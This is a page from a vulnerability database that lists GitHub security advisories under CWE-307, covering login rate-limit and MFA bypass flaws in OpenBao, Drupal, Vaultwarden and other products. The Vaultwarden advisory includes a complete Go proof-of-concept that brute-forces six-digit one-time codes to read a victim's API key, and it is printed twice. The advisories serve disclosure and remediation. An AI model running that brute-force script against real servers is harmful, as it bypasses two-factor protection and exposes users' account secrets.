CWE-307
AllowedImproper Restriction of Excessive Authentication Attempts
Abstraction: Base · Status: Draft
The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame.
900 vulnerabilities reference this CWE, most recent first.
GHSA-RXP7-9Q75-VJ3P
Vulnerability from github – Published: 2025-08-08 14:44 – Updated: 2025-08-11 13:56Impact
OpenBao's Login Multi-Factor Authentication (MFA) system allows enforcing MFA using Time-based One Time Password (TOTP). Due to normalization applied by the underlying TOTP library, codes were accepted which could contain whitespace; this whitespace could bypass internal rate limiting of the MFA method and allow reuse of existing MFA codes.
Patches
OpenBao v2.3.2 will patch this issue.
Workarounds
Use of rate-limiting quotas can limit an attacker's ability to exploit this: https://openbao.org/api-docs/system/rate-limit-quotas/
References
This issue was disclosed to HashiCorp and is the OpenBao equivalent of the following tickets:
- https://discuss.hashicorp.com/t/hcsec-2025-19-vault-login-mfa-bypass-of-rate-limiting-and-totp-token-reuse/76038
- https://nvd.nist.gov/vuln/detail/CVE-2025-6015
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/openbao/openbao"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.0"
},
{
"fixed": "2.3.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/openbao/openbao"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20250807113757-8340a6918f6c"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55003"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-08T14:44:49Z",
"nvd_published_at": "2025-08-09T03:15:47Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nOpenBao\u0027s Login Multi-Factor Authentication (MFA) system allows enforcing MFA using Time-based One Time Password (TOTP). Due to normalization applied by the underlying TOTP library, codes were accepted which could contain whitespace; this whitespace could bypass internal rate limiting of the MFA method and allow reuse of existing MFA codes.\n\n### Patches\n\nOpenBao v2.3.2 will patch this issue.\n\n### Workarounds\n\nUse of rate-limiting quotas can limit an attacker\u0027s ability to exploit this: https://openbao.org/api-docs/system/rate-limit-quotas/\n\n### References\n\nThis issue was disclosed to HashiCorp and is the OpenBao equivalent of the following tickets:\n\n- https://discuss.hashicorp.com/t/hcsec-2025-19-vault-login-mfa-bypass-of-rate-limiting-and-totp-token-reuse/76038\n- https://nvd.nist.gov/vuln/detail/CVE-2025-6015",
"id": "GHSA-rxp7-9q75-vj3p",
"modified": "2025-08-11T13:56:53Z",
"published": "2025-08-08T14:44:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/security/advisories/GHSA-rxp7-9q75-vj3p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55003"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6015"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/commit/8340a6918f6c41d8f75b6c3845c376d9dc32ed19"
},
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2025-19-vault-login-mfa-bypass-of-rate-limiting-and-totp-token-reuse/76038"
},
{
"type": "PACKAGE",
"url": "https://github.com/openbao/openbao"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenBao Login MFA Bypass of Rate Limiting and TOTP Token Reuse"
}
GHSA-V36X-Q6GX-86G9
Vulnerability from github – Published: 2026-07-11 00:31 – Updated: 2026-07-13 18:30Improper Restriction of Excessive Authentication Attempts vulnerability in Drupal Login Disable allows Brute Force. This issue affects Login Disable versions: from 0.0.0 to 2.1.4.
{
"affected": [],
"aliases": [
"CVE-2026-15079"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-10T22:16:40Z",
"severity": "MODERATE"
},
"details": "Improper Restriction of Excessive Authentication Attempts vulnerability in Drupal Login Disable allows Brute Force. This issue affects Login Disable versions: from 0.0.0 to 2.1.4.",
"id": "GHSA-v36x-q6gx-86g9",
"modified": "2026-07-13T18:30:34Z",
"published": "2026-07-11T00:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15079"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-contrib-2026-070"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V4GH-43MQ-749Q
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19An issue was discovered in Fimer Aurora Vision before 2.97.10. The response to a failed login attempt discloses whether the username or password is wrong, helping an attacker to enumerate usernames. This can make a brute-force attack easier.
{
"affected": [],
"aliases": [
"CVE-2021-33209"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-03T11:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Fimer Aurora Vision before 2.97.10. The response to a failed login attempt discloses whether the username or password is wrong, helping an attacker to enumerate usernames. This can make a brute-force attack easier.",
"id": "GHSA-v4gh-43mq-749q",
"modified": "2022-05-24T19:19:35Z",
"published": "2022-05-24T19:19:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33209"
},
{
"type": "WEB",
"url": "https://fimeronline.sharepoint.com/:b:/s/GLB-publicsp/EeKCnV76jG5Pn9Ud30fTlesBlk-SZS3uFU80Gt8IEWiE4Q?e=Tdmabs"
},
{
"type": "WEB",
"url": "https://twitter.com/FIMERspa"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-V4V8-93MW-CJFM
Vulnerability from github – Published: 2025-03-20 15:30 – Updated: 2026-06-06 09:31Improper Restriction of Excessive Authentication Attempts vulnerability in BG-TEK Coslat Hotspot allows Password Brute Forcing, Authentication Abuse.This issue affects Coslat Hotspot: before 6.26.0.R.20250227.
{
"affected": [],
"aliases": [
"CVE-2025-1496"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-20T14:15:22Z",
"severity": "MODERATE"
},
"details": "Improper Restriction of Excessive Authentication Attempts vulnerability in BG-TEK Coslat Hotspot allows Password Brute Forcing, Authentication Abuse.This issue affects Coslat Hotspot: before 6.26.0.R.20250227.",
"id": "GHSA-v4v8-93mw-cjfm",
"modified": "2026-06-06T09:31:11Z",
"published": "2025-03-20T15:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1496"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-25-0075"
},
{
"type": "WEB",
"url": "https://www.coslat.com/tr/blog/28-02-2025-guncelleme"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-25-0075"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V598-3W4J-2787
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-05-24 17:42EyesOfNetwork 5.3-10 uses an integer of between 8 and 10 digits for the session ID, which might be leveraged for brute-force authentication bypass (such as in CVE-2021-27513 exploitation).
{
"affected": [],
"aliases": [
"CVE-2021-27514"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-22T00:15:00Z",
"severity": "CRITICAL"
},
"details": "EyesOfNetwork 5.3-10 uses an integer of between 8 and 10 digits for the session ID, which might be leveraged for brute-force authentication bypass (such as in CVE-2021-27513 exploitation).",
"id": "GHSA-v598-3w4j-2787",
"modified": "2022-05-24T17:42:48Z",
"published": "2022-05-24T17:42:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27514"
},
{
"type": "WEB",
"url": "https://github.com/EyesOfNetworkCommunity/eonweb/issues/87"
},
{
"type": "WEB",
"url": "https://github.com/ArianeBlow/exploit-eyesofnetwork5.3.10/blob/main/PoC-BruteForceID-arbitraty-file-upload-RCE-PrivEsc.py"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-V6PG-V89R-W8WR
Vulnerability from github – Published: 2026-03-04 20:06 – Updated: 2026-03-05 15:26Summary
Vaultwarden v1.34.3 and prior are susceptible to a 2FA bypass when performing protected actions. An attacker who gains authenticated access to a user’s account can exploit this bypass to perform protected actions such as accessing the user's API key or deleting the user's vault and organisations the user is an admin/owner of.
Note that
Details
Within Vaultwarden, the PasswordOrOtpData struct is used to gate certain protected actions such as account deletion behind a 2FA validation. This validation requires the user to either re-enter their master password, or to enter a one-time passcode sent to their email address.
By default, the one-time passcode is comprised of six digits, and the expiry time for each token is ten minutes. The validation of this one-time passcode is performed by the following function:
pub async fn validate_protected_action_otp(
otp: &str,
user_id: &UserId,
delete_if_valid: bool,
conn: &mut DbConn,
) -> EmptyResult {
let pa = TwoFactor::find_by_user_and_type(user_id, TwoFactorType::ProtectedActions as i32, conn)
.await
.map_res("Protected action token not found, try sending the code again or restart the process")?;
let mut pa_data = ProtectedActionData::from_json(&pa.data)?;
pa_data.add_attempt();
// Delete the token after x attempts if it has been used too many times
// We use the 6, which should be more then enough for invalid attempts and multiple valid checks
if pa_data.attempts > 6 {
pa.delete(conn).await?;
err!("Token has expired")
}
// Check if the token has expired (Using the email 2fa expiration time)
let date =
DateTime::from_timestamp(pa_data.token_sent, 0).expect("Protected Action token timestamp invalid.").naive_utc();
let max_time = CONFIG.email_expiration_time() as i64;
if date + TimeDelta::try_seconds(max_time).unwrap() < Utc::now().naive_utc() {
pa.delete(conn).await?;
err!("Token has expired")
}
if !crypto::ct_eq(&pa_data.token, otp) {
pa.save(conn).await?;
err!("Token is invalid")
}
if delete_if_valid {
pa.delete(conn).await?;
}
Ok(())
}
Since the one-time passcode is only six-digits long, it has significantly less entropy than a typical password or secret key. Hence, Vaultwarden attempts to prevent brute-force attacks against this passcode by enforcing a rate limit of 6 attempts per code. However, the number of attempts made by the user is not persisted correctly.
In the validate_protected_action_top function, Vaultwarden first reads the OTP data from a JSON blob stored in pa.data. The resulting ProtectedActionData structure is then a deserialised copy of the underlying JSON value.
let mut pa_data = ProtectedActionData::from_json(&pa.data)?;
Next, Vaultwarden calls pa_data.add_attempt() in order to increment the number of attempts made by one. This increments the attempt count on the local structure, but does not modify the value of the pa.data.
pub fn add_attempt(&mut self) {
self.attempts += 1;
}
Finally, if the OTP validation fails, Vaultwarden attempts to persist the updated attempt count by calling pa.save(conn). However since we only modified a copy of pa.data, the value of pa.data.attempts remains at zero.
The probability of a successful brute force depends on the OTP token length, the OTP expiry duration, and the request throughput. Since each request issued by the attacker does not depend on any previous requests, network latency is not a factor. The bottleneck then, will likely be either the attacker’s network bandwidth or Vaultwarden’s request processing throughput. From local testing, rates of up to 2500 requests per second were achievable, which successfuly bruteforced the OTP in 3 minutes.
If the attacker’s request throughput is low, they can also make repeated requests to /api/accounts/request-otp to generate new tokens. Their probability of success is then
1 - \left(1 - \frac{R * T}{10^L}\right)^n,
where $R$ is the number of requests per second, $T$ is the token expiry time in seconds, $L$ is the number of digits in the OTP code, and $n$ is the number of OTP tokens requested.
Proof of Concept
The easiest method of demonstrating this vulnerability is by making an (authenticated) request to the /api/accounts/request-otp endpoint to generate an OTP, and then repeatedly sending invalid guesses to /api/accounts/verify-otp. After six guesses, Vaultwarden will still reply "Token is invalid" in response to an incorrect guess, rather than "Token has expired" as expected when the rate limit is exceeded. Upon entering the correct OTP, the code will still validate despite more than six guesses being made.
For a more practical example, the following Go script will brute force the OTP in order to read the user’s API key.
package main
import (
"bytes"
"context"
"crypto/tls"
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"sync"
"sync/atomic"
"time"
)
const (
host = "https://10.10.0.1:8000"
jwtToken = "..."
concurrency = 100
totalOtps = 1000000
)
type Brute struct {
client *http.Client
}
func NewBrute() *Brute {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
return &Brute{
client: &http.Client{Transport: tr},
}
}
func (v *Brute) RequestOTP() error {
req, err := http.NewRequest("POST", host+"/api/accounts/request-otp", nil)
if err != nil {
return fmt.Errorf("failed to create OTP request: %w", err)
}
req.Header.Set("Authorization", "Bearer "+jwtToken)
resp, err := v.client.Do(req)
if err != nil {
return fmt.Errorf("failed to send OTP request: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusBadRequest {
return fmt.Errorf("unexpected status code for OTP request: %d", resp.StatusCode)
}
fmt.Println("Requested OTP successfully")
return nil
}
func (v *Brute) GetAPIKey(ctx context.Context, otp string) (bool, error) {
payload, _ := json.Marshal(map[string]string{"otp": otp})
body := bytes.NewBuffer(payload)
req, err := http.NewRequestWithContext(ctx, "POST", host+"/api/accounts/api-key", body)
if err != nil {
return false, fmt.Errorf("failed to create verification request: %w", err)
}
req.Header.Set("Authorization", "Bearer "+jwtToken)
req.Header.Set("Content-Type", "application/json")
resp, err := v.client.Do(req)
if err != nil {
return false, err
}
defer resp.Body.Close()
switch resp.StatusCode {
case http.StatusOK:
body, err := io.ReadAll(resp.Body)
if err == nil {
fmt.Println("\n-----\n" + string(body) + "\n-----\n")
}
return true, nil
case http.StatusBadRequest:
return false, nil
default:
return false, fmt.Errorf("unexpected status code for verification: %d", resp.StatusCode)
}
}
func progressTracker(ctx context.Context, counter *uint64, start time.Time) {
ticker := time.NewTicker(300 * time.Millisecond)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
done := atomic.LoadUint64(counter)
elapsed := time.Since(start).Seconds()
rps := 0.0
if elapsed > 0 {
rps = float64(done) / elapsed
}
fmt.Printf("\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs\n", done, totalOtps, float64(done)/float64(totalOtps)*100, rps, elapsed)
return
case <-ticker.C:
done := atomic.LoadUint64(counter)
elapsed := time.Since(start).Seconds()
rps := 0.0
if elapsed > 0 {
rps = float64(done) / elapsed
}
fmt.Printf("\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs", done, totalOtps, float64(done)/float64(totalOtps)*100, rps, elapsed)
}
}
}
func main() {
brute := NewBrute()
if err := brute.RequestOTP(); err != nil {
log.Fatalf("Error: %v", err)
}
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
var wg sync.WaitGroup
var counter uint64
startTime := time.Now()
go progressTracker(ctx, &counter, startTime)
chunkSize := totalOtps / concurrency
for i := 0; i < concurrency; i++ {
start := i * chunkSize
end := start + chunkSize
if i == concurrency-1 {
end = totalOtps
}
wg.Add(1)
go func(s, e int) {
defer wg.Done()
for otpNum := s; otpNum < e; otpNum++ {
select {
case <-ctx.Done():
return
default:
}
otpStr := fmt.Sprintf("%06d", otpNum)
success, err := brute.GetAPIKey(ctx, otpStr)
atomic.AddUint64(&counter, 1)
if err != nil {
select {
case <-ctx.Done():
default:
log.Printf("\nError verifying OTP %s: %v", otpStr, err)
cancel()
}
return
}
if success {
fmt.Printf("\n\nSuccess: Found OTP = %s\n", otpStr)
cancel()
return
}
}
}(start, end)
}
wg.Wait()
fmt.Println("Brute-force attempt finished.")
}
Impact
An attacker who gains access to a user’s account can exploit this bypass to perform protected actions such as accessing the user’s API key or deleting the user’s accounts and organisations.
Remediation
The simplest fix is to ensure the updated number of attempts is persisted by calling pa.data = pa_data.to_json() before calling pa.save(conn). However this still leaves open the possibility of an attacker requesting an OTP code, exhausting their six attempts and then requesting a new code to try. This attack succeeds with probability
1 - \left(1 - \frac{6}{10^L}\right)^n,
which becomes non-neglible as $n$ increases.
Therefore the best approach might be to enforce a delay like this, to ensure that all rate limits are ultimately tied back to time:
diff --git a/src/api/core/two_factor/protected_actions.rs b/src/api/core/two_factor/protected_actions.rs
index 5e4a65be..aa9cb8f6 100644
--- a/src/api/core/two_factor/protected_actions.rs
+++ b/src/api/core/two_factor/protected_actions.rs
@@ -66,7 +66,18 @@ async fn request_otp(headers: Headers, mut conn: DbConn) -> EmptyResult {
if let Some(pa) =
TwoFactor::find_by_user_and_type(&user.uuid, TwoFactorType::ProtectedActions as i32, &mut conn).await
{
- pa.delete(&mut conn).await?;
+ let pa_data = ProtectedActionData::from_json(&pa.data)?;
+ let token_sent = DateTime::from_timestamp(pa_data.token_sent, 0)
+ .expect("Protected Action token timestamp invalid")
+ .naive_utc();
+ let elapsed = Utc::now().naive_utc() - token_sent;
+ let delay = TimeDelta::seconds(20);
+
+ if elapsed < delay {
+ err!(format!("Please wait {} seconds before requesting another code.", (delay - elapsed).num_seconds()));
+ } else {
+ pa.delete(&mut conn).await?;
+ }
}
let generated_token = crypto::generate_email_token(CONFIG.email_token_size());
@@ -131,6 +142,7 @@ pub async fn validate_protected_action_otp(
}
if !crypto::ct_eq(&pa_data.token, otp) {
+ pa.data = pa_data.to_json();
pa.save(conn).await?;
err!("Token is invalid")
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.34.3"
},
"package": {
"ecosystem": "crates.io",
"name": "vaultwarden"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.35.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27801"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T20:06:59Z",
"nvd_published_at": "2026-03-04T22:16:17Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nVaultwarden v1.34.3 and prior are susceptible to a 2FA bypass when performing protected actions. An attacker who gains authenticated access to a user\u0026rsquo;s account can exploit this bypass to perform protected actions such as accessing the user\u0027s API key or deleting the user\u0027s vault and organisations the user is an admin/owner of.\n\nNote that \n\n\n### Details\n\nWithin Vaultwarden, the `PasswordOrOtpData` struct is used to gate certain protected actions such as account deletion behind a 2FA validation. This validation requires the user to either re-enter their master password, or to enter a one-time passcode sent to their email address.\n\nBy default, the one-time passcode is comprised of six digits, and the expiry time for each token is ten minutes. The validation of this one-time passcode is performed by the following function:\n\n```rust\npub async fn validate_protected_action_otp(\n otp: \u0026str,\n user_id: \u0026UserId,\n delete_if_valid: bool,\n conn: \u0026mut DbConn,\n) -\u003e EmptyResult {\n let pa = TwoFactor::find_by_user_and_type(user_id, TwoFactorType::ProtectedActions as i32, conn)\n .await\n .map_res(\"Protected action token not found, try sending the code again or restart the process\")?;\n let mut pa_data = ProtectedActionData::from_json(\u0026pa.data)?;\n\n pa_data.add_attempt();\n // Delete the token after x attempts if it has been used too many times\n // We use the 6, which should be more then enough for invalid attempts and multiple valid checks\n if pa_data.attempts \u003e 6 {\n pa.delete(conn).await?;\n err!(\"Token has expired\")\n }\n\n // Check if the token has expired (Using the email 2fa expiration time)\n let date =\n DateTime::from_timestamp(pa_data.token_sent, 0).expect(\"Protected Action token timestamp invalid.\").naive_utc();\n let max_time = CONFIG.email_expiration_time() as i64;\n if date + TimeDelta::try_seconds(max_time).unwrap() \u003c Utc::now().naive_utc() {\n pa.delete(conn).await?;\n err!(\"Token has expired\")\n }\n\n if !crypto::ct_eq(\u0026pa_data.token, otp) {\n pa.save(conn).await?;\n err!(\"Token is invalid\")\n }\n\n if delete_if_valid {\n pa.delete(conn).await?;\n }\n\n Ok(())\n}\n```\n\nSince the one-time passcode is only six-digits long, it has significantly less entropy than a typical password or secret key. Hence, Vaultwarden attempts to prevent brute-force attacks against this passcode by enforcing a rate limit of 6 attempts per code. However, the number of attempts made by the user is not persisted correctly.\n\nIn the `validate_protected_action_top` function, Vaultwarden first reads the OTP data from a JSON blob stored in `pa.data`. The resulting `ProtectedActionData` structure is then a deserialised copy of the underlying JSON value.\n\n```rust\nlet mut pa_data = ProtectedActionData::from_json(\u0026pa.data)?;\n```\n\nNext, Vaultwarden calls `pa_data.add_attempt()` in order to increment the number of attempts made by one. This increments the attempt count on the local structure, but does not modify the value of the `pa.data`.\n\n```rust\npub fn add_attempt(\u0026mut self) {\n self.attempts += 1;\n}\n```\n\nFinally, if the OTP validation fails, Vaultwarden attempts to persist the updated attempt count by calling `pa.save(conn)`. However since we only modified a copy of `pa.data`, the value of `pa.data.attempts` remains at zero.\n\nThe probability of a successful brute force depends on the OTP token length, the OTP expiry duration, and the request throughput. Since each request issued by the attacker does not depend on any previous requests, network latency is not a factor. The bottleneck then, will likely be either the attacker\u0026rsquo;s network bandwidth or Vaultwarden\u0026rsquo;s request processing throughput. From local testing, rates of up to 2500 requests per second were achievable, which successfuly bruteforced the OTP in 3 minutes.\n\nIf the attacker\u0026rsquo;s request throughput is low, they can also make repeated requests to `/api/accounts/request-otp` to generate new tokens. Their probability of success is then\n\n```math\n1 - \\left(1 - \\frac{R * T}{10^L}\\right)^n,\n```\n\nwhere $R$ is the number of requests per second, $T$ is the token expiry time in seconds, $L$ is the number of digits in the OTP code, and $n$ is the number of OTP tokens requested.\n\n\n\u003ca id=\"orgca0bfe5\"\u003e\u003c/a\u003e\n\n### Proof of Concept\n\nThe easiest method of demonstrating this vulnerability is by making an (authenticated) request to the `/api/accounts/request-otp` endpoint to generate an OTP, and then repeatedly sending invalid guesses to `/api/accounts/verify-otp`. After six guesses, Vaultwarden will still reply `\"Token is invalid\"` in response to an incorrect guess, rather than `\"Token has expired\"` as expected when the rate limit is exceeded. Upon entering the correct OTP, the code will still validate despite more than six guesses being made.\n\nFor a more practical example, the following Go script will brute force the OTP in order to read the user\u0026rsquo;s API key.\n\n```go\npackage main\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"net/http\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n)\n\nconst (\n\thost = \"https://10.10.0.1:8000\"\n\tjwtToken = \"...\"\n\tconcurrency = 100\n\ttotalOtps = 1000000\n)\n\ntype Brute struct {\n\tclient *http.Client\n}\n\nfunc NewBrute() *Brute {\n\ttr := \u0026http.Transport{\n\t\tTLSClientConfig: \u0026tls.Config{InsecureSkipVerify: true},\n\t}\n\treturn \u0026Brute{\n\t\tclient: \u0026http.Client{Transport: tr},\n\t}\n}\n\nfunc (v *Brute) RequestOTP() error {\n\treq, err := http.NewRequest(\"POST\", host+\"/api/accounts/request-otp\", nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create OTP request: %w\", err)\n\t}\n\treq.Header.Set(\"Authorization\", \"Bearer \"+jwtToken)\n\n\tresp, err := v.client.Do(req)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to send OTP request: %w\", err)\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK \u0026\u0026 resp.StatusCode != http.StatusBadRequest {\n\t\treturn fmt.Errorf(\"unexpected status code for OTP request: %d\", resp.StatusCode)\n\t}\n\n\tfmt.Println(\"Requested OTP successfully\")\n\treturn nil\n}\n\nfunc (v *Brute) GetAPIKey(ctx context.Context, otp string) (bool, error) {\n\tpayload, _ := json.Marshal(map[string]string{\"otp\": otp})\n\tbody := bytes.NewBuffer(payload)\n\n\treq, err := http.NewRequestWithContext(ctx, \"POST\", host+\"/api/accounts/api-key\", body)\n\tif err != nil {\n\t\treturn false, fmt.Errorf(\"failed to create verification request: %w\", err)\n\t}\n\treq.Header.Set(\"Authorization\", \"Bearer \"+jwtToken)\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\tresp, err := v.client.Do(req)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer resp.Body.Close()\n\n\tswitch resp.StatusCode {\n\tcase http.StatusOK:\n\t\tbody, err := io.ReadAll(resp.Body)\n\t\tif err == nil {\n\t\t\tfmt.Println(\"\\n-----\\n\" + string(body) + \"\\n-----\\n\")\n\t\t}\n\t\treturn true, nil\n\tcase http.StatusBadRequest:\n\t\treturn false, nil\n\tdefault:\n\t\treturn false, fmt.Errorf(\"unexpected status code for verification: %d\", resp.StatusCode)\n\t}\n}\n\nfunc progressTracker(ctx context.Context, counter *uint64, start time.Time) {\n\tticker := time.NewTicker(300 * time.Millisecond)\n\tdefer ticker.Stop()\n\n\tfor {\n\t\tselect {\n\t\tcase \u003c-ctx.Done():\n\t\t\tdone := atomic.LoadUint64(counter)\n\t\t\telapsed := time.Since(start).Seconds()\n\t\t\trps := 0.0\n\t\t\tif elapsed \u003e 0 {\n\t\t\t\trps = float64(done) / elapsed\n\t\t\t}\n\t\t\tfmt.Printf(\"\\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs\\n\", done, totalOtps, float64(done)/float64(totalOtps)*100, rps, elapsed)\n\t\t\treturn\n\t\tcase \u003c-ticker.C:\n\t\t\tdone := atomic.LoadUint64(counter)\n\t\t\telapsed := time.Since(start).Seconds()\n\t\t\trps := 0.0\n\t\t\tif elapsed \u003e 0 {\n\t\t\t\trps = float64(done) / elapsed\n\t\t\t}\n\t\t\tfmt.Printf(\"\\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs\", done, totalOtps, float64(done)/float64(totalOtps)*100, rps, elapsed)\n\t\t}\n\t}\n}\n\nfunc main() {\n\tbrute := NewBrute()\n\tif err := brute.RequestOTP(); err != nil {\n\t\tlog.Fatalf(\"Error: %v\", err)\n\t}\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\n\tvar wg sync.WaitGroup\n\tvar counter uint64\n\tstartTime := time.Now()\n\n\tgo progressTracker(ctx, \u0026counter, startTime)\n\n\tchunkSize := totalOtps / concurrency\n\tfor i := 0; i \u003c concurrency; i++ {\n\t\tstart := i * chunkSize\n\t\tend := start + chunkSize\n\t\tif i == concurrency-1 {\n\t\t\tend = totalOtps\n\t\t}\n\n\t\twg.Add(1)\n\t\tgo func(s, e int) {\n\t\t\tdefer wg.Done()\n\t\t\tfor otpNum := s; otpNum \u003c e; otpNum++ {\n\t\t\t\tselect {\n\t\t\t\tcase \u003c-ctx.Done():\n\t\t\t\t\treturn\n\t\t\t\tdefault:\n\t\t\t\t}\n\n\t\t\t\totpStr := fmt.Sprintf(\"%06d\", otpNum)\n\t\t\t\tsuccess, err := brute.GetAPIKey(ctx, otpStr)\n\n\t\t\t\tatomic.AddUint64(\u0026counter, 1)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tselect {\n\t\t\t\t\tcase \u003c-ctx.Done():\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tlog.Printf(\"\\nError verifying OTP %s: %v\", otpStr, err)\n\t\t\t\t\t\tcancel()\n\t\t\t\t\t}\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tif success {\n\t\t\t\t\tfmt.Printf(\"\\n\\nSuccess: Found OTP = %s\\n\", otpStr)\n\t\t\t\t\tcancel()\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}(start, end)\n\t}\n\n\twg.Wait()\n\tfmt.Println(\"Brute-force attempt finished.\")\n}\n```\n\u003cimg width=\"997\" height=\"301\" alt=\"image\" src=\"https://github.com/user-attachments/assets/61486bb6-302b-4edb-87b7-d229bbd33380\" /\u003e\n\n### Impact\n\nAn attacker who gains access to a user\u0026rsquo;s account can exploit this bypass to perform protected actions such as accessing the user\u0026rsquo;s API key or deleting the user\u0026rsquo;s accounts and organisations.\n\n### Remediation\n\nThe simplest fix is to ensure the updated number of attempts is persisted by calling `pa.data = pa_data.to_json()` before calling `pa.save(conn)`. However this still leaves open the possibility of an attacker requesting an OTP code, exhausting their six attempts and then requesting a new code to try. This attack succeeds with probability\n\n```math\n1 - \\left(1 - \\frac{6}{10^L}\\right)^n,\n```\n\nwhich becomes non-neglible as $n$ increases.\n\nTherefore the best approach might be to enforce a delay like this, to ensure that all rate limits are ultimately tied back to time:\n\n```diff\ndiff --git a/src/api/core/two_factor/protected_actions.rs b/src/api/core/two_factor/protected_actions.rs\nindex 5e4a65be..aa9cb8f6 100644\n--- a/src/api/core/two_factor/protected_actions.rs\n+++ b/src/api/core/two_factor/protected_actions.rs\n@@ -66,7 +66,18 @@ async fn request_otp(headers: Headers, mut conn: DbConn) -\u003e EmptyResult {\n if let Some(pa) =\n TwoFactor::find_by_user_and_type(\u0026user.uuid, TwoFactorType::ProtectedActions as i32, \u0026mut conn).await\n {\n- pa.delete(\u0026mut conn).await?;\n+ let pa_data = ProtectedActionData::from_json(\u0026pa.data)?;\n+ let token_sent = DateTime::from_timestamp(pa_data.token_sent, 0)\n+ .expect(\"Protected Action token timestamp invalid\")\n+ .naive_utc();\n+ let elapsed = Utc::now().naive_utc() - token_sent;\n+ let delay = TimeDelta::seconds(20);\n+\n+ if elapsed \u003c delay {\n+ err!(format!(\"Please wait {} seconds before requesting another code.\", (delay - elapsed).num_seconds()));\n+ } else {\n+ pa.delete(\u0026mut conn).await?;\n+ }\n }\n\n let generated_token = crypto::generate_email_token(CONFIG.email_token_size());\n@@ -131,6 +142,7 @@ pub async fn validate_protected_action_otp(\n }\n\n if !crypto::ct_eq(\u0026pa_data.token, otp) {\n+ pa.data = pa_data.to_json();\n pa.save(conn).await?;\n err!(\"Token is invalid\")\n }\n```",
"id": "GHSA-v6pg-v89r-w8wr",
"modified": "2026-03-05T15:26:22Z",
"published": "2026-03-04T20:06:59Z",
